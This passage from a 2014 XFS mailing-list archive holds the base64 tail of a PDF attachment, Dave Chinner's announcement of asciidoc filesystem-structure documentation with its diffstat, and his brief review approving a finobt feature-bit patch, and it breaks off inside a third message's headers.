HIA7+kOdPE0WJXZpNUpC1PRFZkO+2TazlHgTxdOwb3ycboktmYzKrhLjsDWuLldAknGxfABIjtog p6NKU8Bk9E1aKa/N/iC2K03sEYHfP8wFm4X9mhCORIaYLW7ruBrswNGy5QLPLHKzgO0MdEpso95h HYTQBUNWOaj1xpj2RtNRGIGeVCaQFEa9yVSGRwnj3vdoovwCIrH9uXImin9xKgxf1Edt03gOXIRJ dY35ZUPL5MVh95O2Ax+oapm3Muwbn6BDYkv65XQZ2OmpzfrDKUdcxh1okx73+jI+HXFdXWwTDpXX qcjB4ApDLr8tZUe26wdsjG+46N6u0MBqHc9jtGoYxg5jXDld1vq1tikwim7lA2Hf+AzdEVsSLQEF IekcGROJvKqLLus047LeC6mLTedd6+vFrrUmyvfkn3/C3/i/rtqJLSAiKGvZUv/eqgXn6c52EqfE a9JyK6PBwgHjM3RHbOUMP2Q81GnJwiGdnDugE6uFFaSOxBaGR+m4pm8zuulreFn8S96Th4cvyPK8 W9MBQQQrn77nEDYvXNW/bLptrVIp650/cRJfo5nbFFu5UjDjpWSkaxHrssCk+K8ziUYSVFbSTPpJ mPxRiafb1RWr8M3DsZrYwly1MsFZUdRoZv/wW/5VvDxcu4ZNgAr+Yu9X9Zn3j9yqagFhUNgiDIqu qA2mla299sKclS2oFrCdhdsU27AvKyKPOcv2eDCd6upO0/5wPNZFiJVyNkrQvxtzhfSwM4WUIrHJ bNmBYpZxWdcA1OQlk4gHT0JyXAP++lnWN2H/j98SqV29r4cSOr6GVsTck7grG9XnK/PscsDC1R71 NEmxqwfFa4MOzsONig0ukYxxOJvSO4lOfsu+HLGwosZLlBiMOGkuLcT+GZVycU1Zua5BSF1rYguH Jzzcu+uPxsNrTNn4PUn+8fu/8IaA7Wvc73KpmC9cds+hB1Emt3Zp+qvqFna++B22Lwvz3uq4gkVt v4IYjV6zQQfn4TbFRrfougWzwZBLBWvIxq5plUjsgIiI8RYzSIZkcTkGfiXtxRbm562tJ2Uc+Pvf H/7sk4fFn7B/ZRDhzJHrZWWUE0c7mfPPs109AGJQ5K+gYbYCVJtDaa2weYwEn3w5IcYz3uI2xUbC 4imc4J9QN2+ILSzeNGHNmURtUTlZ06CkvdiCLEO4aDSw/7N4WFxrrYNjggkaurQiYPK7x3V63KiB j8z/LWxfDD5YJT57O8tkeKcfatuGarzDrYstibugvS+2GYKskayaPrjrDTVRlQXlxU/SVfdQslLH xpUEuPpBWDOZNXFBbAgDVYHGMQjXvqAPW4mbM3fLj5I87+8f09lz4+Th9McbSeE54C0qt37nnjib W8vBWbl9sUXhVr2OLaKY67F3l3DZE0UOJbIIFN/JCBcIcViI1ML7RE5Pi1bREYRaFKl0JDGq7F/+ +6viNRBc8FSNdLbez9Zr5KHNLmEvjEua7dhQnBj81XANcJwEq/8sYDsbty42vGlgxTiKgz5fEVsh IVmXmBTlElmgKkbWL8b5EAoWgguEz8mCnqH722EZduPGKKroKyLx7n7znM/yVWmvl2q3C37qcn11 efF65IUjbwxAkPL4IpcOJH8SNy+2sK7wkHriSxBPiMLkVQhLC5fTahdiC16LE1oJwHT8AaiJLaix x0Ax9M/tN6rUuAXYflAzWwpF+DR/juq0jkIh505dPa8tUpl2dGmtRGtGz9mYg/Nyu2ILHWiTHivL +sPZuD/hMCfNOZkpHirWSCJ91UZl4qpiS/o9STFlzdACDhPVAaOkMtwKyDDRsWpPBlbJbY0bBXkl 1w0tB8NDLSlMx3SzSJHzhlAI2aqbn79uUGLBpsH2oc9dEzizkdfLBZE/kFsVG1cDHki8NO1rbdmI axxzaeC7UYId1VtUAZf0B+NhqE8DKjZ+VgjhmZAMBqOiBxzXPNb7lEx6w6Gu0Y6S/fEobBu3CVM4 vEUzs5HNOi00Aa+JU2qVXFTf8sz/y5JwraY13IeGxYnmrsFQHgI8Po0FbGfkdiO2A2GV48piw1qd X12kePrq8sl13ik5PagsibaNW2Qb6qaqXsjKIK3IAn19/sbMLf38nD3wFlyGpWYnPEcqi6DSbHqo hhznB5tPGx/jO4jNMN7AuZzR2jYeUrA6aMK5e741zAeU89jZqtoShI5pfeAAwjGKjbV9rySjcpRD vcxrZ8XEZnxzGJLNYY5VVJN2qGBzbsOF81jouC/FE6I9qCfsfQbp4nEkySdcfMdRrLQWbnV8J5TA k/Ix3uoOYpyMic347mQQG80RV28VmsC5+9RlxUQbWV1uO/qIWvwMe2ptM2uI/XAc1956mfcyPEMM PohDfIZzBY6GYmIzvj0Um5pD9w9Ibb7C3eMhCpoifsoriWS0rzRp4kT5Sv3JwQMy6P1cUaMRYWIz vj8wgyijQRw4wrNyAvmoHK0Bte3c/K8ieT0NzUEbMsmtHNKmC6iLh1jjxvcSOSlmDQeMc2FiM74/ 0EcqMVfVEOzoQbsU4nCeYVV+3M1sw6AJ1vmPsN+WTNpBQdiPCUdx5aey3QCxHTvdFeDwTl4tET07 JjajC0AObBRF6qn7glba86TEU5lbyU6TRnLIJ/XpCYp5clvVYdlOUQUXlHctI5uyE7aAluDZ42YN 45OY2IxOAD1wfvJ93OEiZH6FOOiRjV+/Jq/cpWsneeHvp229O++BfJb/8dl8jqIQ27Kxai1DXLZ1 ulIWB7cfEtAoZVUJs4Ku1kfEOAMmNqMTsGmUwioCJaLSQboo7+njBomh96tn7GwZvB2xz1BgJYHY HP/Ua/T3jOsObGeL5hYDWja8AHymaWl3PDBCPamiC0eMM2JiM7rBws3nrMBa1AIyaEqipKV/XjPX VBe5X4+vNETuKa+QZM4RVeGqbpE90VMxPntFaoRRmjYbkDhiK8GV8VgyV1E4YpwTE5vREWCg35RE tedFMQYhd363S9Midtr49DCrUQO7TQbBoQTNA7xsyLIEmV9kryaqs5BWsnSZ8zYMwt9IfswpPWy5 vYtgYjO6AqMrOq1SibYKO95v0nXkFw4HaEwRa0CIDN88AzAq8qiLbwWGerqlSatuhw66ETAaHwvX tYaDy2BiM7pCApP8ZhOlP544aAOp+VUUHD2n3qVRVf6btCuWIDK7L6UqfYPDNu4VthR4DQaWEpGD jTNiYjO6A0Qh/cSOcr/MS1YZ9giDsMYlET4OPRXdd+efpd8ckSnXShDWaWRpDaIXw8RmdAg3/z1n zIaQSA8oe+m/S7kVZBvXdo6r1iACq/h04X0xBds29toieA1+s3jtUpjYjA6RQWyitKrZdHa2SDtc Nj5sngHWwjFbRQSmBwL1fUWP4gG9dBg2LoKJzegSy/lc87uq2Rgh5VE66GsrxEdkfpVtT2mpnLv0 l7YZ4J6V1BL7xxdSr7HJ1eK1C2JiMzoFa+Slpy429EhBtAJe/oZUXOrunxHQueWyYe2CKsx6t+6X S+99GoZribIOVWtH/sRZPAaUZwOpLoqJzegYEJs4I6+N4oz6t7n160kgvLZLITZ28AiHGtmmcJMk oH49m92jvLbLOpeuitAQO2GrQHUm7aHmtUtiYjM6BoQ0d39xq7Z+ShmklZ3NGuFgeEZsblnp6Vtl 7vyvey8NEE56/WoXE3yKOWYRD9bFtsdJvD2xlDyhcSlMbEbnoDckHlq6xjECfv1WLwv3KDbSnLHK ViaVZDzmqD4tgNwTr8hG8UqxMdHcaaxYS4eRgHKa8szdW7x2aUxsRveg2aRDW7UJIcA0M2wKtX4f iNfkzeu4BHcPZ2mDKl3mU3ESAjYeESRAC1GgiA1n42nXCkIRLuj8ylRHxtkwsRkdRFJCbiBmqsdd y0JZgdU6jXuZIbVc45VDonT3+Rk+o4mQSG7uw2REwX7C0vnV8j709tXJvmsjDchLGMHFJzs+a5wZ E5vRReglnX8jrY/T1KTxAOdVWx5GW+1X0sWNK+LJPqy2Xi3VWvvMe056xGEF0UVQdO09s0zZzovY LAY5LG+RUbllZZ9xMUxsRidhh4q5KG1bmY4bpKqgEo8YLS1NtPE7Oss5eZtto9AMuGIYllSwhYQS tyrH0/O+rH8LuwEclWfJ/E5TWePCmNiMbiLTcYhEtq4qp2NWcFHYnK38Pa3ED3O31ukjLQrK1UNd 3UobBRQ5Uct/ERTKO8K29I2mVuN8mNiMjqJmk14VyCvl0Ousyo5tsCBtyJSRu3k1+ApHJczDdtn4 eejLy2SzlmuGtgcGc+8+iHEeTGxGZ4Fw5vMlg6d8Vc9HX8Xdp/wEFCSd4HKfZttD8pgtQ8SWQWzl ggcVX/lq599kGXoGb51fW/XatTCxGR2GIZIarajlepeQt+KD2g3EPa93kbfKLNOlh5xSu7I1glNy PY0fa7V7xsUwsRldBjIJIRZrwqo1X80gEsMrJ9gVEW6XaRq6eAhOBoVyo7ywdAQJWzWoM9nIHG5v 4dr1MLEZnYbVa7kardVcRVsvYtulj9oygFR0HfvQFXVulS4dseUiUEaVKO2ur49PNc6Oic3oOA7B UtDO5v2pgnYojbe9k7ZRULwHyvZTRGkQXi5VeFwiSw5WQLSmd2M62mw+41KY2IyuA6/stqHdsqjy epVM+6AtV2FVUkRd+h7w4j0idWZFqnnMU6G1HFazNPTamNiM7gOzpEVj5XFvjApPmq+uVrMgQLeq 1PhnZVde1pqBZk8+FHfZI5V9T6bG+TGxGT+A3D3fu6XXdk7EZK+FWYzD1hxEsEiLsQT11tRyWjfG Yb5S/1aCxFN1uM/SexSzJVuujonN+BGsvUs38xC1cYKN5vk1ts7fM9Ryj8VoBUcPRlFeGX5l1VCu hC2h4T5bt8StLAv9Akxsxg8BRtoUc3DIGHfpiFsDhzmp0dKlz4XYnHZB0z3uvznlEIcXhBBvKUrU 1gXjypjYjJ9CwqHqZVvAjtY59LENMD6D0fDyKwwE9W6zQLR3iM7eEFWOaxah4NalK+zqjnFtTGzG z4GTDfl8XnTUTe9X6fY4n9ywXwicdOLCo/kSpgw23HMbVKvnjOthYjN+EkhBEY0tikHruQxZP0Oy KCYrR4lueRerXPtKTGzGz+LFu93KuXmxmMo2hYN+fyq0gsdI2GOOS80dpbnGFTGxGT8ORlOkUA8H hr7TJvAqWzZDuGUhxlxjNdPaV2NiM34gnEuNBjp0nN3QR8sT5aY1aUVLq6xrIAdMa1+Oic34kcBJ HDmwLNYqAPnKO+/ncySV79a6bTeheeDQH24rayzHnjO+DhOb8UPJlwzSNjvv9of2zzzfpKFHLpR1 7Lf97EViO7LYHAKzJXQon0s/ltEaZ8bEZvxcoLZ0uXWpW9Un59iK9QLz7AEvYYd4v4mct/XumT3Y gKWgt4KJzfjRcH4Ol2sOeRSgbdPlMmOPEL/xq6VbZrttXim0V5+t/Nwq1m4LE5vx4xE5ccTBZjP/ q2UqmW/1Y2tph7CuuLeGic0wQk80j5gMcZdb5pks5NLMPl+wRk2RJoTs3bYG49qY2AxD0NXx3Frf FwjI5vM5/vye+8XsJVs86a5z25yLxxNo7Th/NW4BE5thHFixRo3kmmnGMEyTCM1vmH/6ZdyCYNwW JjbDqLPdcMlQGVNQNociVvOeyydge7s8tSuvcWVMbIbxGk9Py8UCYtNJwOf5YpchZT1x1g/jKzCx GYbROUxshmF0DhObYRidw8RmGEbnMLEZhtE5TGyGYXQOE5thGJ3DxGYYRucwsRmG0TlMbIZhdA4T m2EYncPEZhhG5zCxGYbROUxshmF0DhObYRidw8RmGEbnMLEZhtE5TGyGYXQOE5thGJ3DxGYYRucw sRmG0TlMbIZhdA4Tm2EYncPEZhhG5zCxGYbROUxshmF0DhObYRidw8RmGEbnMLEZhtE5TGyGYXQO E5thGJ3DxGYYRseYzf4fk+du9gplbmRzdHJlYW0KZW5kb2JqCjMgMCBvYmoKPDwvTGVuZ3RoIDY4 L0ZpbHRlci9GbGF0ZURlY29kZT4+c3RyZWFtCnicK+QqVDC1NFUwAEILE0M9MxMQU8/QwtDETCE5 V0E/MzfdQMElXyGQK5CrkMsphMvYTMHCwEwhJIXLNQQoBgDK1g3uCmVuZHN0cmVhbQplbmRvYmoK NSAwIG9iago8PC9UeXBlL1BhZ2UvTWVkaWFCb3hbMCAwIDU5NSA4NDJdL1Jlc291cmNlczw8L1By b2NTZXQgWy9QREYgL1RleHQgL0ltYWdlQiAvSW1hZ2VDIC9JbWFnZUldL1hPYmplY3Q8PC9pbWcw IDIgMCBSPj4+Pi9Db250ZW50cyAzIDAgUi9QYXJlbnQgNCAwIFI+PgplbmRvYmoKNCAwIG9iago8 PC9UeXBlL1BhZ2VzL0NvdW50IDEvS2lkc1s1IDAgUl0vSVRYVCg1LjEuMyk+PgplbmRvYmoKNiAw IG9iago8PC9UeXBlL0NhdGFsb2cvUGFnZXMgNCAwIFI+PgplbmRvYmoKNyAwIG9iago8PC9Qcm9k dWNlcihjb252ZXJ0ZmlsZW9ubGluZS5jb20pL0NyZWF0aW9uRGF0ZShEOjIwMTQwMjEwMTMwNDA3 KzAxJzAwJykvTW9kRGF0ZShEOjIwMTQwMjEwMTMwNDA3KzAxJzAwJyk+PgplbmRvYmoKeHJlZgow IDgKMDAwMDAwMDAwMCA2NTUzNSBmIAowMDAwMDAwMDE1IDAwMDAwIG4gCjAwMDAwMDI3MDMgMDAw MDAgbiAKMDAwMDEyMTczMiAwMDAwMCBuIAowMDAwMTIyMDI4IDAwMDAwIG4gCjAwMDAxMjE4NjYg MDAwMDAgbiAKMDAwMDEyMjA5MSAwMDAwMCBuIAowMDAwMTIyMTM2IDAwMDAwIG4gCnRyYWlsZXIK PDwvU2l6ZSA4L1Jvb3QgNiAwIFIvSW5mbyA3IDAgUi9JRCBbPDQ1Y2Q4NTgwODlhM2Q4YTY1NjNk ZjA2NjQyOGY5NDI2PjxmMjAxYmRjOGQzODhjZDQ2ZGFlYjAzNWVjYzRlMDFjZD5dPj4Kc3RhcnR4 cmVmCjEyMjI1OQolJUVPRgo= ------=_NextPart_000_1707_01CF26F2.7B313FC0-- From david@fromorbit.com Mon Feb 10 23:33:42 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EF80D7F3F for ; Mon, 10 Feb 2014 23:33:41 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7342BAC00B for ; Mon, 10 Feb 2014 21:33:41 -0800 (PST) X-ASG-Debug-ID: 1392096817-04cb6c6de026dd80001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id OUDxZr26Ye5ug974 for ; Mon, 10 Feb 2014 21:33:37 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkMSAMm1+VJ5LBMc/2dsb2JhbABZgww4gwalOQNAkGqGXBd0glMTHDskNAUlAzSIBJpHr0cWjF2EMw9mgRQEmCmSIYNBKA Received: from ppp121-44-19-28.lns20.syd6.internode.on.net (HELO dastard) ([121.44.19.28]) by ipmail06.adl2.internode.on.net with ESMTP; 11 Feb 2014 16:03:36 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WD5yM-0004vL-HB for xfs@oss.sgi.com; Tue, 11 Feb 2014 16:33:30 +1100 Date: Tue, 11 Feb 2014 16:33:30 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [ANNOUNCE] xfs-documentation: master branch updated to 8421062 Message-ID: <20140211053330.GB13647@dastard> X-ASG-Orig-Subj: [ANNOUNCE] xfs-documentation: master branch updated to 8421062 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392096817 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145017 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Folks, The XFS Documentation repository at git://oss.sgi.com/xfs/cmds/xfs-documentation has just been updated. The new head of the master branch is commit: 8421062 doc: import XFS Filesystem Structure documentation This is the first of the major documents that we need to convert to asciidoc to make them easier to maintain and update. The build system requires the a2x asciidoc toolchain, which requires the entire docbook build infrastructure. Essentially the first build step is to turn the asciidoc into docbook XML, and it is then built into the destination format from there. Essentially, this gives us the ability to include all sorts of docbook metadata in XML format to the document, while keeping the actual contents of the document in asciidoc markup. Hence we should be able to make this build and document structure work (eventually) with distro documentation toolchains like Publican. As it is, we really need to convert the rest of the documentation to asciidoc format and updating it to be current before we go much further. Ideally, I'd like to convert a significant amount of the documentation on the xfs.org wiki to asciidoc (e.g. the FAQ, all the design docs, etc) and replace the wiki contents with the html files built from this repository. And finally, with asciidoc being able to generate manpage format output, I'd really like to convert a bunch of the man pages into asciidoc so that we can build html/pdf user manuals fromteh same source as we generate man pages. A good example of this is the xfs_db man page, which describes just about every command xfs_db supports.... Anyway, try it out, have a look at the built documentation, the structure of documentation source, etc. I'm interested to see what people think and what ideas people have for being able to skin the documentation appropriately.... Cheers, Dave. New Commits: Dave Chinner (1): [8421062] doc: import XFS Filesystem Structure documentation Code Diffstat: design/Makefile | 26 +- design/XFS_Filesystem_Structure/Makefile | 34 + .../allocation_groups.asciidoc | 782 ++++ .../XFS_Filesystem_Structure/common_types.asciidoc | 49 + .../XFS_Filesystem_Structure/data_extents.asciidoc | 247 ++ .../XFS_Filesystem_Structure/directories.asciidoc | 1193 ++++++ design/XFS_Filesystem_Structure/docinfo.xml | 72 + .../extended_attributes.asciidoc | 609 +++ design/XFS_Filesystem_Structure/images/15a.png | Bin 0 -> 50788 bytes design/XFS_Filesystem_Structure/images/15b.png | Bin 0 -> 95395 bytes design/XFS_Filesystem_Structure/images/16.png | Bin 0 -> 36702 bytes design/XFS_Filesystem_Structure/images/18.png | Bin 0 -> 23260 bytes design/XFS_Filesystem_Structure/images/20a.png | Bin 0 -> 72052 bytes design/XFS_Filesystem_Structure/images/20b.png | Bin 0 -> 91930 bytes design/XFS_Filesystem_Structure/images/23.png | Bin 0 -> 19185 bytes design/XFS_Filesystem_Structure/images/28.png | Bin 0 -> 48498 bytes design/XFS_Filesystem_Structure/images/30.png | Bin 0 -> 27246 bytes design/XFS_Filesystem_Structure/images/31.png | Bin 0 -> 10652 bytes design/XFS_Filesystem_Structure/images/32.png | Bin 0 -> 60716 bytes design/XFS_Filesystem_Structure/images/35.png | Bin 0 -> 167184 bytes design/XFS_Filesystem_Structure/images/36.png | Bin 0 -> 188957 bytes design/XFS_Filesystem_Structure/images/39.png | Bin 0 -> 48607 bytes design/XFS_Filesystem_Structure/images/43.png | Bin 0 -> 103425 bytes design/XFS_Filesystem_Structure/images/48.png | Bin 0 -> 145519 bytes design/XFS_Filesystem_Structure/images/54.png | Bin 0 -> 217092 bytes design/XFS_Filesystem_Structure/images/6.png | Bin 0 -> 87067 bytes design/XFS_Filesystem_Structure/images/61.png | Bin 0 -> 33415 bytes design/XFS_Filesystem_Structure/images/62.png | Bin 0 -> 53958 bytes design/XFS_Filesystem_Structure/images/64.png | Bin 0 -> 49003 bytes design/XFS_Filesystem_Structure/images/69.png | Bin 0 -> 128382 bytes design/XFS_Filesystem_Structure/images/72.png | Bin 0 -> 138179 bytes design/XFS_Filesystem_Structure/images/76.png | Bin 0 -> 31266 bytes .../XFS_Filesystem_Structure/images/code/33a.png | Bin 0 -> 106484 bytes .../XFS_Filesystem_Structure/images/code/33b.png | Bin 0 -> 40229 bytes design/XFS_Filesystem_Structure/images/code/40.png | Bin 0 -> 94094 bytes design/XFS_Filesystem_Structure/images/code/46.png | Bin 0 -> 78484 bytes design/XFS_Filesystem_Structure/images/code/57.png | Bin 0 -> 17987 bytes design/XFS_Filesystem_Structure/images/code/60.png | Bin 0 -> 32907 bytes design/XFS_Filesystem_Structure/images/code/61.png | Bin 0 -> 54687 bytes design/XFS_Filesystem_Structure/images/code/65.png | Bin 0 -> 107515 bytes design/XFS_Filesystem_Structure/images/code/66.png | Bin 0 -> 69316 bytes design/XFS_Filesystem_Structure/images/code/67.png | Bin 0 -> 109738 bytes design/XFS_Filesystem_Structure/images/code/71.png | Bin 0 -> 62675 bytes .../XFS_Filesystem_Structure/images/code/73-74.png | Bin 0 -> 153732 bytes design/XFS_Filesystem_Structure/images/code/74.png | Bin 0 -> 62210 bytes .../images/code/SVG/33a.svg | 185 + .../images/code/SVG/33b.svg | 158 + .../images/code/SVG/40.svg | 177 + .../images/code/SVG/46.svg | 197 + .../images/code/SVG/57.svg | 129 + .../images/code/SVG/60.svg | 182 + .../images/code/SVG/61.svg | 157 + .../images/code/SVG/65.svg | 233 ++ .../images/code/SVG/66.svg | 260 ++ .../images/code/SVG/67.svg | 232 ++ .../images/code/SVG/71.svg | 150 + .../images/code/SVG/73-74.svg | 364 ++ .../images/code/SVG/74.svg | 201 + design/XFS_Filesystem_Structure/images/icon.svg | 3936 ++++++++++++++++++++ .../internal_inodes.asciidoc | 182 + .../journaling_log.asciidoc | 3 + .../XFS_Filesystem_Structure/ondisk_inode.asciidoc | 448 +++ .../symbolic_links.asciidoc | 81 + .../xfs_filesystem_structure.asciidoc | 53 + 64 files changed, 10337 insertions(+), 3 deletions(-) create mode 100644 design/XFS_Filesystem_Structure/Makefile create mode 100644 design/XFS_Filesystem_Structure/allocation_groups.asciidoc create mode 100644 design/XFS_Filesystem_Structure/common_types.asciidoc create mode 100644 design/XFS_Filesystem_Structure/data_extents.asciidoc create mode 100644 design/XFS_Filesystem_Structure/directories.asciidoc create mode 100644 design/XFS_Filesystem_Structure/docinfo.xml create mode 100644 design/XFS_Filesystem_Structure/extended_attributes.asciidoc create mode 100644 design/XFS_Filesystem_Structure/images/15a.png create mode 100644 design/XFS_Filesystem_Structure/images/15b.png create mode 100644 design/XFS_Filesystem_Structure/images/16.png create mode 100644 design/XFS_Filesystem_Structure/images/18.png create mode 100644 design/XFS_Filesystem_Structure/images/20a.png create mode 100644 design/XFS_Filesystem_Structure/images/20b.png create mode 100644 design/XFS_Filesystem_Structure/images/23.png create mode 100644 design/XFS_Filesystem_Structure/images/28.png create mode 100644 design/XFS_Filesystem_Structure/images/30.png create mode 100644 design/XFS_Filesystem_Structure/images/31.png create mode 100644 design/XFS_Filesystem_Structure/images/32.png create mode 100644 design/XFS_Filesystem_Structure/images/35.png create mode 100644 design/XFS_Filesystem_Structure/images/36.png create mode 100644 design/XFS_Filesystem_Structure/images/39.png create mode 100644 design/XFS_Filesystem_Structure/images/43.png create mode 100644 design/XFS_Filesystem_Structure/images/48.png create mode 100644 design/XFS_Filesystem_Structure/images/54.png create mode 100644 design/XFS_Filesystem_Structure/images/6.png create mode 100644 design/XFS_Filesystem_Structure/images/61.png create mode 100644 design/XFS_Filesystem_Structure/images/62.png create mode 100644 design/XFS_Filesystem_Structure/images/64.png create mode 100644 design/XFS_Filesystem_Structure/images/69.png create mode 100644 design/XFS_Filesystem_Structure/images/72.png create mode 100644 design/XFS_Filesystem_Structure/images/76.png create mode 100644 design/XFS_Filesystem_Structure/images/code/33a.png create mode 100644 design/XFS_Filesystem_Structure/images/code/33b.png create mode 100644 design/XFS_Filesystem_Structure/images/code/40.png create mode 100644 design/XFS_Filesystem_Structure/images/code/46.png create mode 100644 design/XFS_Filesystem_Structure/images/code/57.png create mode 100644 design/XFS_Filesystem_Structure/images/code/60.png create mode 100644 design/XFS_Filesystem_Structure/images/code/61.png create mode 100644 design/XFS_Filesystem_Structure/images/code/65.png create mode 100644 design/XFS_Filesystem_Structure/images/code/66.png create mode 100644 design/XFS_Filesystem_Structure/images/code/67.png create mode 100644 design/XFS_Filesystem_Structure/images/code/71.png create mode 100644 design/XFS_Filesystem_Structure/images/code/73-74.png create mode 100644 design/XFS_Filesystem_Structure/images/code/74.png create mode 100644 design/XFS_Filesystem_Structure/images/code/SVG/33a.svg create mode 100644 design/XFS_Filesystem_Structure/images/code/SVG/33b.svg create mode 100644 design/XFS_Filesystem_Structure/images/code/SVG/40.svg create mode 100644 design/XFS_Filesystem_Structure/images/code/SVG/46.svg create mode 100644 design/XFS_Filesystem_Structure/images/code/SVG/57.svg create mode 100644 design/XFS_Filesystem_Structure/images/code/SVG/60.svg create mode 100644 design/XFS_Filesystem_Structure/images/code/SVG/61.svg create mode 100644 design/XFS_Filesystem_Structure/images/code/SVG/65.svg create mode 100644 design/XFS_Filesystem_Structure/images/code/SVG/66.svg create mode 100644 design/XFS_Filesystem_Structure/images/code/SVG/67.svg create mode 100644 design/XFS_Filesystem_Structure/images/code/SVG/71.svg create mode 100644 design/XFS_Filesystem_Structure/images/code/SVG/73-74.svg create mode 100644 design/XFS_Filesystem_Structure/images/code/SVG/74.svg create mode 100644 design/XFS_Filesystem_Structure/images/icon.svg create mode 100644 design/XFS_Filesystem_Structure/internal_inodes.asciidoc create mode 100644 design/XFS_Filesystem_Structure/journaling_log.asciidoc create mode 100644 design/XFS_Filesystem_Structure/ondisk_inode.asciidoc create mode 100644 design/XFS_Filesystem_Structure/symbolic_links.asciidoc create mode 100644 design/XFS_Filesystem_Structure/xfs_filesystem_structure.asciidoc -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Feb 11 00:08:11 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 536C37F3F for ; Tue, 11 Feb 2014 00:08:11 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2ECD8304070 for ; Mon, 10 Feb 2014 22:08:07 -0800 (PST) X-ASG-Debug-ID: 1392098885-04cb6c6de226f020001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id ii4VFVVvBsTuGGSU for ; Mon, 10 Feb 2014 22:08:06 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AswGAPq9+VJ5LBMc/2dsb2JhbABZgwyDPrZmhU+BCxd0giUBAQU6HCMQCAMOCgklDwUlAyETiATJbhcWjloHgySBFASYKZIhgW+BUig Received: from ppp121-44-19-28.lns20.syd6.internode.on.net (HELO dastard) ([121.44.19.28]) by ipmail06.adl2.internode.on.net with ESMTP; 11 Feb 2014 16:37:41 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WD6VN-0004zv-G6; Tue, 11 Feb 2014 17:07:37 +1100 Date: Tue, 11 Feb 2014 17:07:37 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH v3 02/11] xfs: reserve v5 superblock read-only compat. feature bit for finobt Message-ID: <20140211060737.GC13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v3 02/11] xfs: reserve v5 superblock read-only compat. feature bit for finobt References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> <1391536182-9048-3-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391536182-9048-3-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392098885 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145018 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 04, 2014 at 12:49:33PM -0500, Brian Foster wrote: > Reserve a v5 read-only compatibility feature bit for the finobt and > create the xfs_sb_version_hasfinobt() helper to determine whether > an fs has the feature enabled. > > The finobt does not change existing on-disk structures, but must > remain consistent with the ialloc btree. Modifications from older > kernels would violate that constrant. Therefore, we restrict older > kernels to read-only mounts of finobt-enabled filesystems. > > Note that this does not yet enable the ability to rw mount a finobt > fs (by setting the feature bit in the XFS_SB_FEAT_RO_COMPAT_ALL > mask). > > Signed-off-by: Brian Foster Looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Feb 11 00:22:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 533D97F3F for ; Tue, 11 Feb 2014 00:22:21 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 